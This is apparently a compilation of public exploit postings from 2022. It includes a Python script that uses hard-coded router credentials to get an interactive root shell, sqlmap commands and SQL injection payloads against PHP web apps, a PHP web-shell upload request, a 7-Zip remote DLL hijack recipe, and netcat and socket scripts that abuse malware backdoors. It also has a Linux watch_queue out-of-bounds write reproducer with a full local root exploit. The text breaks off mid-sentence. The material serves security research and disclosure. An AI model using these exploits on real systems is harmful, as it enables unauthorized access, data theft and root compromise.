<pre><code>#!/usr/bin/env python3<br />#<br />#<br /># USR IOT 4G LTE Industrial Cellular VPN Router 1.0.36 Remote Root Backdoor<br />#<br />#<br /># Vendor: Jinan USR IOT Technology Limited<br /># Product web page: https://www.pusr.com | https://www.usriot.com<br /># Affected version: 1.0.36 (USR-G800V2, USR-G806, USR-G807, USR-G808)<br /># 1.2.7 (USR-LG220-L)<br />#<br /># Summary: USR-G806 is a industrial 4G wireless LTE router which provides<br /># a solution for users to connect own device to 4G network via WiFi interface<br /># or Ethernet interface. USR-G806 adopts high performance embedded CPU which<br /># can support 580MHz working frequency and can be widely used in Smart Grid,<br /># Smart Home, public bus and Vending machine for data transmission at high<br /># speed. USR-G806 supports various functions such as APN card, VPN, WIFIDOG,<br /># flow control and has many advantages including high reliability, simple<br /># operation, reasonable price. USR-G806 supports WAN interface, LAN interface,<br /># WLAN interface, 4G interface. USR-G806 provides various networking mode<br /># to help user establish own network.<br />#<br /># Desc: The USR IOT industrial router is vulnerable to hard-coded credentials<br /># within its Linux distribution image. These sets of credentials are never<br /># exposed to the end-user and cannot be changed through any normal operation<br /># of the device. The 'usr' account with password 'www.usr.cn' has the highest<br /># privileges on the device. The password is also the default WLAN password.<br /># Shodan Dork: title:"usr-*" // 4,648 ed ao 15042022<br />#<br /># -------------------------------------------------------------------------<br /># lqwrm@metalgear:~$ python usriot_root.py 192.168.0.14<br />#<br /># --Got rewt!<br /># # id;id root;pwd<br /># uid=0(usr) gid=0(usr)<br /># uid=2(root) gid=2(root) groups=2(root)<br /># /root<br /># # crontab -l<br /># */2 * * * * /etc/ltedial<br /># */20 * * * * /etc/init.d/Net_4G_Check.sh<br /># */15 * * * * /etc/test_log.sh<br /># */120 * * * * /etc/pddns/pddns_start.sh start &<br /># 44 4 * * * /etc/init.d/sysreboot.sh &<br /># */5 * * * * ps | grep "/usr/sbin/ntpd" && /etc/init.d/sysntpd stop;<br /># 0 */4 * * * /etc/init.d/sysntpd start; sleep 40; /etc/init.d/sysntpd stop;<br /># cat /tmp/usrlte_info<br /># Local time is Fri Apr 15 05:38:56 2022<br /># (loop)<br /># IMEI Number:8*************1<br /># Operator information:********Telecom<br /># signal intensity:normal(20)<br />#<br /># Software version number:E*****************G<br /># SIM Card CIMI number:4*************7<br /># SIM Card number:8******************6<br /># Short message service center number:"+8**********1"<br /># system information:4G Mode<br /># PDP protocol:"IPV4V6"<br /># CREG:register<br /># Check ME password:READY<br /># base station information:"4**D","7*****B"<br /># cat /tmp/usrlte_info_imsi<br /># 4*************7<br /># # exit<br />#<br /># lqwrm@metalgear:~$ <br /># -------------------------------------------------------------------------<br />#<br /># Tested on: GNU/Linux 3.10.14 (mips)<br /># OpenWrt/Linaro GCC 4.8-2014.04<br /># Ralink SoC MT7628 PCIe RC mode<br /># BusyBox v1.22.1<br /># uhttpd<br /># Lua<br />#<br />#<br /># Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /># @zeroscience<br />#<br />#<br /># Advisory ID: ZSL-2022-5705<br /># Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5705.php<br />#<br />#<br /># 10.04.2022<br />#<br /><br /><br />import paramiko as bah<br />import sys as baaaaaah<br /><br />bnr='''<br /> ▄• ▄▌.▄▄ · ▄▄▄ ▪ ▄▄▄▄▄ <br /> █▪██▌▐█ ▀. ▀▄ █·██ ▪ •██ <br /> █▌▐█▌▄▀▀▀█▄▐▀▀▄ ▐█· ▄█▀▄ ▐█.▪ <br /> ▐█▄█▌▐█▄▪▐█▐█•█▌▐█▌▐█▌.▐▌ ▐█▌· <br />▄▄▄▄· ▄▄▄·▀ ▄▄·▀▄ •▄ ·▄▄▄▄ ▀█▄▀▪ ▀▀▀ ▄▄▄ <br />▐█ ▀█▪▐█ ▀█ ▐█ ▌▪█▌▄▌▪██▪ ██ ▪ ▪ ▀▄ █·<br />▐█▀▀█▄▄█▀▀█ ██ ▄▄▐▀▀▄·▐█· ▐█▌ ▄█▀▄ ▄█▀▄ ▐▀▀▄ <br />██▄▪▐█▐█ ▪▐▌▐███▌▐█.█▌██. ██ ▐█▌.▐▌▐█▌.▐▌▐█•█▌<br />·▀▀▀▀ ▀ ▀ ▄▄▄▀ ·▀ ▀▀▀▀▀▀• ▄▄▄▄▄▪ ▀█▄▀▪.▀ ▀<br /> ▀▄ █·▪ ▪ •██ <br /> ▐▀▀▄ ▄█▀▄ ▄█▀▄ ▐█.▪ <br /> ▐█•█▌▐█▌.▐▌▐█▌.▐▌ ▐█▌· <br /> ▄▄▄·▀ ▄▄·▀█▄▄· ▄▄▄▀..▄▄▀· .▄▄ · <br /> ▐█ ▀█ ▐█ ▌▪▐█ ▌▪▀▄.▀·▐█ ▀. ▐█ ▀. <br /> ▄█▀▀█ ██ ▄▄██ ▄▄▐▀▀▪▄▄▀▀▀█▄▄▀▀▀█▄ <br /> ▐█ ▪▐▌▐███▌▐███▌▐█▄▄▌▐█▄▪▐█▐█▄▪▐█ <br /> ▀ ▀ ·▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀▀ <br />'''<br />print(bnr)<br /><br />if len(baaaaaah.argv)<2:<br /> print('--Gief me an IP.')<br /> exit(0)<br /><br />adrs=baaaaaah.argv[1]<br />unme='usr'<br />pwrd='www.usr.cn'<br /><br />rsh=bah.SSHClient()<br />rsh.set_missing_host_key_policy(bah.AutoAddPolicy())<br />try:<br /> rsh.connect(adrs,username=unme,password=pwrd,port=2222) #22 Ook.<br /> print('--Got rewt!')<br />except:<br /> print('--Backdoor removed.')<br /> exit(-1)<br /><br />while True:<br /> cmnd=input('# ')<br /> if cmnd=='exit':<br /> rsh.exec_command('exit')<br /> break<br /> stdin,stdout,stderr = rsh.exec_command(cmnd)<br /> print(stdout.read().decode().strip())<br /><br />rsh.close()<br /></code></pre>
<pre><code># Exploit Title: Pharmacy management system - 'email' SQL injection<br /># Date: 19/04/2022<br /># Exploit Author: Saud Alenazi<br /># Vendor Homepage: https://www.sourcecodester.com/<br /># Software Link: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html<br /># Version: 1.0<br /># Tested on: XAMPP, Linux<br /># Contact: https://twitter.com/dmaral3noz<br /><br />Step 1. Capture the request of the "http://127.0.0.1/dawapharma/login.php"<br />page in burpsute<br />Step 2. Save POST the packet<br />Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r<br />request.txt -p email --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast --dbs"<br />Step 4. This will inject successfully and you will have an information<br />disclosure of all databases contents<br /><br />POST the packet<br /><br />POST /dawapharma/dawapharma/login.php HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 62<br />Connection: close<br />Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel<br />Upgrade-Insecure-Requests: 1<br /><br />email=HI%40HI.COM&password=TEST&login=<br /><br />---<br /><br />Parameter: email (POST)<br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: email=HI@HI.COM' AND (SELECT 1029 FROM (SELECT(SLEEP(5)))FNdi) AND 'QxLg'='QxLg&password=TEST&login=<br />---<br /><br /></code></pre>
<pre><code># Exploit Title: Pharmacy management system - Remote Code Execution (RCE)<br /># Date: 19/04/2022<br /># Exploit Author: Saud Alenazi<br /># Vendor Homepage: https://www.sourcecodester.com/<br /># Software Link: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html<br /># Version: 1.0<br /># Tested on: XAMPP, Linux<br /># Contact: https://twitter.com/dmaral3noz<br /><br /># Exploit : <br /> <br />You can upload a php shell file as a productImage<br /><br /># ------------------------------------------------------------------------------------------<br /># POC<br /># ------------------------------------------------------------------------------------------<br /><br /># Request sent as base user<br /><br />POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631<br />Content-Length: 559<br />Connection: close<br />Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel<br />Upgrade-Insecure-Requests: 1<br /><br />-----------------------------208935235035266125502673738631<br />Content-Disposition: form-data; name="old_image"<br /><br /><br />-----------------------------208935235035266125502673738631<br />Content-Disposition: form-data; name="productImage"; filename="shell.php"<br />Content-Type: image/jpeg<br /><br /><?php<br />if($_REQUEST['s']) {<br /> system($_REQUEST['s']);<br /> } else phpinfo();<br />?><br /></pre><br /></body><br /></html><br />-----------------------------208935235035266125502673738631<br />Content-Disposition: form-data; name="btn"<br /><br /><br />-----------------------------208935235035266125502673738631--<br /><br /><br /><br /><br /># Response<br /><br />HTTP/1.1 302 Found<br />Date: Tue, 19 Apr 2022 20:43:17 GMT<br />Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1<br />X-Powered-By: PHP/8.1.2<br />Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />Cache-Control: no-store, no-cache, must-revalidate<br />Pragma: no-cache<br />location: ../product.php<br />Content-Length: 77<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br />Image uploaded successfully{"success":true,"messages":"Successfully Updated"}<br /><br /><br /><br /># ------------------------------------------------------------------------------------------<br /># Request to webshell<br /># ------------------------------------------------------------------------------------------<br /><br />GET /dawapharma/dawapharma/assets/myimages/shell.php?s=echo+0xSaudi HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0<br />Accept: image/webp,*/*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Connection: close<br />Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel<br /><br /><br /><br /># ------------------------------------------------------------------------------------------<br /># Webshell response<br /># ------------------------------------------------------------------------------------------<br /><br /><br />HTTP/1.1 200 OK<br />Date: Tue, 19 Apr 2022 20:55:58 GMT<br />Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1<br />X-Powered-By: PHP/8.1.2<br />Content-Length: 33<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br /><br /><br />…0xSaudi<br /></pre><br /></body><br /></html><br /><br /><br /><br /></code></pre>
<pre><code># Exploit Title: Online Restaurant Table Reservation System v1.0<br /># Exploit Author: segf0lt<br /># Date: April 20, 2022<br /># Vendor Homepage: https://www.sourcecodester.com/php/15286/online-restaurant-table-reservation-system-phpoop-free-source-code.html<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/ortrs.zip<br /># Tested on: Ubuntu, Apache, Mysql<br /># Version: v1.0<br /># Exploit Description:<br /># Online Restaurant Table Reservation System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a union based SQL Injection attack.<br /><br /><br /># Exploit <br />* Exploit with Sqlmap<br /><br />sqlmap -u "http://localhost/ortrs/admin/reservations/update_status.php?id=12" --dbms=mysql -dbs --risk=3 --level=5<br /><br />Results:<br /><br />---<br />Parameter: id (GET)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)<br /> Payload: id=12' AND 5078=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE (SELECT 1275 UNION SELECT 1902) END))-- -<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: id=12' AND (SELECT 2322 FROM (SELECT(SLEEP(5)))fRlk)-- nYDm<br /><br /> Type: UNION query<br /> Title: Generic UNION query (NULL) - 11 columns<br /> Payload: id=12' UNION ALL SELECT CONCAT(0x7178786b71,0x4b54627963664a4b6a634354487949726b4c7373676d59656359755274656970427854514f4f5742,0x7178627871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -<br />---<br /><br /><br /># Vulnerable Code<br /><br />* No filter `id` when inserting data to database of update_status.php webpage<br /><br />if(isset($_GET['id']) && $_GET['id'] > 0){<br /> $qry = $conn->query("SELECT * from `reservation_list` where id = '{$_GET['id']}' ");<br /> if($qry->num_rows > 0){<br /> foreach($qry->fetch_assoc() as $k => $v){<br /> $$k=$v;<br /> }<br /> }<br />}<br /></code></pre>
<pre><code>Microsoft Windows Environment Variable Expansion Issue Leads To Remote DLL Hijack <br /><br />Attack vector: 7-ZIP v.16 <br /><br />7-ZIP v.16 and possibly other softwares that utilizes the HTML Help System are prone to a remote DLL hijacking issue which leads to arbitrary code execution. PoC attached.<br /><br />because the OS fails to expand the "%systemroot%" environment variable and additionally an unsafe search for hhctrl.ocx when the program invokes "HtmlHelp()" to load the HTML Help system<br /><br />so if the current working directory of the program is set to an attacker controlled location such as WebDAV/SMB shares and the path '.\%systemroot%\system32\hhctrl.ocx' exists, it will be loaded<br /><br />instead of the legit 'hhctrl.ocx' due to unsafe search order. This allows for arbitrary code execution.<br /><br /><br />Note: "Notepad.exe" app imported from Windows XP SP3 into a Windows 7/8/10 OS is also vulnerable.<br /><br /><br />Vulnerable Windows versions: 7 / 8.1 / 10 depending on the patch level. <br /><br /><br />Patches up to November 2015 on 8.1 and 10 v.1511 is vulnerable.<br /><br />Windows 8.1 patches up to January 2020 is assumed vulnerable<br /><br />Windows 7, fully patched as of January 2020 is vulnerable.<br /><br /><br />A C (not C++, C# etc) DLL must be created and contain the "DllMain()" fuction which you can use to run arbitrary code.<br /><br />then create a subdirectory on the WebDAV/SMB share called '7z', then create the tree: '.\%systemroot%\system32' and place the DLL named 'hhctrl.ocx' on the 'system32' folder.<br /><br />Place a valid ZIP / 7Z archive on '7z' folder and send the UNC path / link to the target.<br /><br /><br />The target accesses the remote share via Windows Explorer (File Explorer) and opens the archive (with 7-ZIP) then proceeds to click "Help" then "Contents (F1)" or pressing "F1" key to trigger the vulnerability<br />and run arbitrary code.<br /><br />exploit complexity: "easy"<br /><br />reliability: 100%<br /><br />severity: medium<br /><br /><br />Video demo on: https://www.youtube.com/watch?v=_muAPMzd9T0<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.GateHell.21<br />Vulnerability: Authentication Bypass<br />Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.<br />Family: GateHell<br />Type: PE32<br />MD5: 5aa81ddc996be64116754efac0e4f55d<br />Vuln ID: MVID-2022-0559<br />Disclosure: 04/18/2022<br /><br />Exploit/PoC:<br />C:\>nc64.exe 192.168.18.125 5301<br />220 ICS FTP Server ready.<br />USER malvuln<br />331 Password required for malvuln.<br />PASS malvuln<br />230 User malvuln logged in.<br />SYST<br />215 UNIX Type: L8 Internet Component Suite<br />CDUP<br />250 CWD command successful. "C:/" is current directory.<br />PASV<br />227 Entering Passive Mode (192,168,18,125,195,126).<br />STOR DOOM.exe<br />150 Opening data connection for DOOM.exe.<br />226 File received ok<br /><br /><br />from socket import *<br /><br />MALWARE_HOST="192.168.18.125"<br />PORT=50046<br />DOOM="DOOM.exe"<br /><br />def doit():<br /> s=socket(AF_INET, SOCK_STREAM)<br /> s.connect((MALWARE_HOST, PORT))<br /><br /> f = open(DOOM, "rb")<br /> EXE = f.read()<br /> s.send(EXE)<br /><br /> while EXE:<br /> s.send(EXE)<br /> EXE=f.read()<br /> <br /> s.close()<br /><br /> print("By Malvuln");<br /><br />if __name__=="__main__":<br /> doit()<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/9acdbfc9f7c1f6e589485b30aa91bfd2.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Delf.zn<br />Vulnerability: Insecure Credential Storage <br />Description: The default credentials for the backdoor are stored in cleartext within the "Firefly.ini" file.<br />Family: Delf<br />Type: PE32<br />MD5: 9acdbfc9f7c1f6e589485b30aa91bfd2 <br />Vuln ID: MVID-2022-0556<br />Disclosure: 04/18/2022<br /><br />Exploit/PoC:<br />"Firefly.ini"<br /><br />[DomainName]<br />host=192.168.18.125<br />name=root<br />password=benjo<br />filename=ip.jpg<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection<br /># Date: 2022-04-11<br /># Exploit Author: Mohsen Dehghani (aka 0xProfessional)<br /># Vendor Homepage: https://motopress.com/<br /># Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip<br /># Version: 4.2.4<br /># Tested on: Windows/XAMPP<br />###########################################################################<br />PoC:<br /><br />Vulnerable File:sync-urls-repository.php<br /><br /> public function insertUrls($roomId, $urls)<br /> {<br /> global $wpdb;<br /><br /> if (empty($urls)) {<br /> return;<br /> }<br /><br /> $urls = $this->prepareUrls($urls);<br /> $values = array();<br /><br /> foreach ($urls as $syncId => $url) {<br /> $values[] = $wpdb->prepare("(%d, %s, %s)", $roomId, $syncId, $url);<br /> }<br /><br /> $sql = "INSERT INTO {$this->tableName} (room_id, sync_id, calendar_url)"<br /> . " VALUES " . implode(', ', $values);<br /><br /> $wpdb->query($sql);<br /><br />Vulnerable Parameter:<br />room_id=SQL Injection<br />sync_id=SQL Injection<br /><br /></code></pre>
<pre><code>Linux: watch_queue filter OOB write (and other bugs)<br /><br />This bug report is about things in the watch_queue subsystem,<br />which is only enabled under CONFIG_WATCH_QUEUE. That seems to be<br />disabled e.g. on Debian, but Ubuntu and Fedora enable it.<br /><br /><br />The watch_queue subsystem has a bug that leads to out-of-bounds<br />write in watch_queue_set_filter():<br />The first loop correctly checks for<br /><br /> if (tf[i].type >= sizeof(wfilter->type_filter) * 8)<br /><br />but the second loop has the bound for .type wrong by a factor of 8<br />(on 64-bit systems):<br /><br /> if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)<br /><br />This leads to two out-of-bounds writes:<br /><br />1. out-of-bounds __set_bit() on wfilter->type_filter<br />2. out-of-bounds write of array elements behind wfilter->filters<br /><br />The following reproducer triggers an ASAN splat:<br />```<br />#define _GNU_SOURCE<br />#include <unistd.h><br />#include <err.h><br />#include <stdio.h><br />#include <stdlib.h><br />#include <sys/ioctl.h><br />#include <sys/syscall.h><br />#include <linux/watch_queue.h><br /><br />int main(void) {<br /> int pipefds[2];<br /> if (pipe2(pipefds, O_NOTIFICATION_PIPE))<br /> err(1, \"pipe2\");<br /> int pfd = pipefds[0];<br /><br /> struct watch_notification_filter *filter =<br /> malloc(sizeof(struct watch_notification_filter) +<br /> sizeof(struct watch_notification_type_filter));<br /> filter->nr_filters = 1;<br /> filter->__reserved = 0;<br /> filter->filters[0] = (struct watch_notification_type_filter){ .type = 1023 };<br /> if (ioctl(pfd, IOC_WATCH_QUEUE_SET_FILTER, filter))<br /> err(1, \"SET_FILTER\");<br />}<br />```<br /><br />Here's the splat:<br />```<br />[ 83.180406][ T611] ==================================================================<br />[ 83.181694][ T611] BUG: KASAN: slab-out-of-bounds in watch_queue_set_filter+0x659/0x740<br />[ 83.182928][ T611] Write of size 4 at addr ffff88800d2c66bc by task watch_queue_oob/611<br />[...]<br />[ 83.187234][ T611] Call Trace:<br />[ 83.187712][ T611] <TASK><br />[ 83.188133][ T611] dump_stack_lvl+0x45/0x59<br />[ 83.188796][ T611] print_address_description.constprop.0+0x1f/0x150<br />[...]<br />[ 83.190539][ T611] kasan_report.cold+0x7f/0x11b<br />[...]<br />[ 83.192236][ T611] watch_queue_set_filter+0x659/0x740<br />[...]<br />[ 83.194563][ T611] __x64_sys_ioctl+0x127/0x190<br />[ 83.195297][ T611] do_syscall_64+0x43/0x90<br />[ 83.195941][ T611] entry_SYSCALL_64_after_hwframe+0x44/0xae<br />[...]<br />[ 83.208194][ T611] Allocated by task 611:<br />[ 83.208807][ T611] kasan_save_stack+0x1e/0x40<br />[ 83.209479][ T611] __kasan_kmalloc+0x81/0xa0<br />[ 83.210258][ T611] watch_queue_set_filter+0x23a/0x740<br />[ 83.211027][ T611] __x64_sys_ioctl+0x127/0x190<br />[ 83.211708][ T611] do_syscall_64+0x43/0x90<br />[ 83.212341][ T611] entry_SYSCALL_64_after_hwframe+0x44/0xae<br />[ 83.213177][ T611] <br />[ 83.213510][ T611] The buggy address belongs to the object at ffff88800d2c66a0<br />[ 83.213510][ T611] which belongs to the cache kmalloc-32 of size 32<br />[ 83.215452][ T611] The buggy address is located 28 bytes inside of<br />[ 83.215452][ T611] 32-byte region [ffff88800d2c66a0, ffff88800d2c66c0)<br />```<br /><br />In case you're wondering why syzkaller never managed to hit this:<br />It actually has a definition file for watch queue stuff<br />(https://github.com/google/syzkaller/blob/master/sys/linux/dev_watch_queue.txt),<br />but that seems to be based on an older version of the series that introduced<br />watch queues, so syzkaller doesn't know about O_NOTIFICATION_PIPE and instead<br />tries to open /dev/watch_queue.<br /><br /><br />Here's an extremely shoddy exploit that will sometimes give you a root shell<br />on Fedora 35 and sometimes instead make the system hang/panic:<br />```<br />[user@fedora watch_queue]$ cat watch_queue_oob_elf_phdr.c<br />#define _GNU_SOURCE<br />#include <unistd.h><br />#include <err.h><br />#include <stdio.h><br />#include <stddef.h><br />#include <sched.h><br />//header conflict :/<br />//#include <fcntl.h><br />int open(const char *pathname, int flags, ...);<br />#include <stdlib.h><br />#include <sys/ioctl.h><br />#include <sys/inotify.h><br />#include <sys/eventfd.h><br />#include <sys/resource.h><br />#include <sys/xattr.h><br />#include <sys/wait.h><br />#include <sys/mount.h><br />#include <sys/syscall.h><br />#include <linux/watch_queue.h><br />#include <linux/elf.h><br /><br />#define SYSCHK(x) ({ \\<br /> typeof(x) __res = (x); \\<br /> if (__res == (typeof(x))-1) \\<br /> err(1, \"SYSCHK(\" #x \")\"); \\<br /> __res; \\<br />})<br /><br />int main(void) {<br /> struct rlimit rlim_nofile;<br /> SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim_nofile));<br /> rlim_nofile.rlim_cur = rlim_nofile.rlim_max;<br /> SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim_nofile));<br /><br /> // pin to one CPU core<br /> cpu_set_t cpu_set;<br /> CPU_ZERO(&cpu_set);<br /> CPU_SET(0, &cpu_set);<br /> SYSCHK(sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set));<br /><br /> // create notification pipes, without filters yet<br /> int pfds[128];<br /> for (int i=0; i<128; i++) {<br /> int pipefds[2];<br /> SYSCHK(pipe2(pipefds, O_NOTIFICATION_PIPE));<br /> pfds[i] = pipefds[0];<br /> close(pipefds[1]);<br /> }<br /><br /> // create a child with SCHED_IDLE policy that runs execve() when told to<br /> int continue_eventfd = SYSCHK(eventfd(0, 0));<br /> pid_t child = SYSCHK(fork());<br /> if (child == 0) {<br /> struct sched_param param = { .sched_priority = 0 };<br /> SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));<br /><br /> eventfd_t evfd_value;<br /> SYSCHK(eventfd_read(continue_eventfd, &evfd_value));<br /><br /> SYSCHK(execl(\"/usr/bin/newgrp\", \"newgrp\", \"--bogus\", \"/bin/bash\", NULL));<br /> }<br /><br /> // set up an inotify watch to notify us every time the ELF parser reads from<br /> // the ELF binary (which involves preempting the ELF parser).<br /> int infd = SYSCHK(inotify_init());<br /> SYSCHK(inotify_add_watch(infd, \"/usr/bin/newgrp\", IN_ACCESS));<br /><br /> // spam kmalloc-32 a bit. note that this might not be enough spam, depending<br /> // on how fragmented the slab is...<br /> // after spamming the slab, free all our allocations again, so that hopefully<br /> // we end up with a (more or less) empty CPU slab.<br />#define NUM_SPAM 10000 /* 900 */<br /> SYSCHK(unshare(CLONE_NEWUSER|CLONE_NEWNS));<br /> SYSCHK(mount(\"none\", \"/dev/shm\", \"tmpfs\", MS_NOSUID|MS_NODEV, \"\"));<br /> int tmpfile = SYSCHK(open(\"/dev/shm/\", O_TMPFILE|O_RDWR, 0666));<br /> for (int i=0; i<NUM_SPAM; i++) {<br /> char name[14] = \"security.XXXX\";<br /> name[ 9] = 'A' + ((i >> 0) % 16);<br /> name[10] = 'A' + ((i >> 4) % 16);<br /> name[11] = 'A' + ((i >> 8) % 16);<br /> name[12] = 'A' + ((i >> 12) % 16);<br /> SYSCHK(fsetxattr(tmpfile, name, \"\", 0, XATTR_CREATE));<br /> }<br /> close(tmpfile);<br /><br /> // launch the ELF parser and preempt at every read.<br /> // note that PREEMPT_VOLUNTARY means we actually don't get rescheduled<br /> // directly at kernel_read(), instead it happens on the next kmalloc():<br /> // __kmalloc() -> slab_alloc() -> slab_alloc_node() -> slab_pre_alloc_hook()<br /> // -> might_alloc() -> might_sleep_if() -> might_sleep() -> might_resched()<br /> // -> __cond_resched()<br /> //<br /> // First preemption is the allocation of memory for program headers,<br /> // second preemption is the allocation of memory for the interpreter name.<br /> // At the second preemption, the program headers have been loaded into<br /> // memory but the interpreter name's offset hasn't been read yet.<br /> // Third preemption is after the interpreter name has been stored in the<br /> // allocation but before it is passed to the VFS for opening.<br /> SYSCHK(eventfd_write(continue_eventfd, 1));<br /> for (int i=0; i<3; i++) {<br /> struct inotify_event inev;<br /> if (SYSCHK(read(infd, &inev, sizeof(inev))) != sizeof(inev))<br /> errx(1, \"bad inotify_event size\");<br /> }<br /><br /> struct watch_notification_filter *filter =<br /> malloc(sizeof(struct watch_notification_filter) +<br /> 2 * sizeof(struct watch_notification_type_filter));<br /> filter->nr_filters = 1;<br /> filter->__reserved = 0;<br /> filter->filters[0] = (struct watch_notification_type_filter){<br /> .type = 20 * 8,<br /> .info_mask = 0x80<br /> };<br /> for (int i=0; i<127; i++) {<br /> SYSCHK(ioctl(pfds[i], IOC_WATCH_QUEUE_SET_FILTER, filter));<br /> }<br /><br /> int status;<br /> int wait_res = wait(&status);<br /> printf(\"wait_res = %d\<br />\", wait_res);<br /> if (WIFEXITED(status)) {<br /> printf(\"exited with status %d\<br />\", WEXITSTATUS(status));<br /> } else if (WIFSIGNALED(status)) {<br /> printf(\"signaled with signal %d\<br />\", WTERMSIG(status));<br /> } else {<br /> printf(\"other?\<br />\");<br /> }<br />}<br />[user@fedora watch_queue]$ gcc -o watch_queue_oob_elf_phdr watch_queue_oob_elf_phdr.c<br />[user@fedora watch_queue]$ cat bogus-loader.S<br />.global _start<br />_start:<br />/* setresuid(0, 0, 0) */<br />mov $117, %eax<br />mov $0, %rdi<br />mov $0, %rsi<br />mov $0, %rdx<br />syscall<br /><br />/* execve(argv[2], argv+2, envv) */<br />mov $59, %eax<br />mov 24(%rsp), %rdi<br />lea 24(%rsp), %rsi<br />lea 40(%rsp), %rdx /* assume argc==3 */<br />syscall<br />int $3<br />[user@fedora watch_queue]$ as -o bogus-loader.o bogus-loader.S<br />[user@fedora watch_queue]$ ld -shared -o $'\\x80' bogus-loader.o<br />[user@fedora watch_queue]$ ./watch_queue_oob_elf_phdr <br />[root@fedora watch_queue]# id<br />uid=0(root) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023<br />```<br /><br /><br />There are also some other bugs in the subsystem, but those are less<br />easy to exploit or not security bugs at all:<br /><br />1. free_pipe_info() first calls put_watch_queue(), which RCU-frees the<br />struct watch_queue. Then afterwards it calls pipe_buf_release() on the<br />pipe buffers, which calls watch_queue_pipe_buf_release(), which calls<br />set_bit() on the already RCU-freed watch_queue. This is at least<br />theoretically a UAF, in particular under CONFIG_PREEPMT.<br /><br />2. watch_queue_pipe_buf_ops has a .get handler that calls<br />try_get_page() and a .release handler that doesn't touch the page count.<br />This would be a bug, except that this is dead code because none of the<br />splice stuff works on notification pipes.<br /><br />3. From what I can tell, watch_queue_set_size() permits 